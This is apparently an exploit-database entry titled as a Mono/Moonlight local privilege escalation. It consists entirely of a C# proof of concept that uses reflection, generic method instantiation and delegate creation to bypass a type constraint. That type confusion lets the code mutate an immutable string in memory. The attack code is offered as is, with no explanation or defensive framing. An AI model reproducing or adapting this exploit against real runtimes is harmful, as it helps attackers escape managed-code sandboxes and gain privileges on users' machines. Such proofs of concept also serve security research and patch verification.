Mono/Moonlight Generic Type Argument Local Privilege Escalation

using System; using System.Reflection; public class FakeString { public int length; public char start_char; } public class TestCase { private static FakeString UnsafeConversion<T>(T thing) where T : FakeString { return thing; } public static void Main() { var a = "foo"; var b = MakeMutable(a); Console.WriteLine(a); b.start_char = 'b'; Console.WriteLine(a); } private static FakeString MakeMutable(string s) { var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static); var m2 = m.MakeGenericMethod(typeof(string)); var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2); return d(s); } }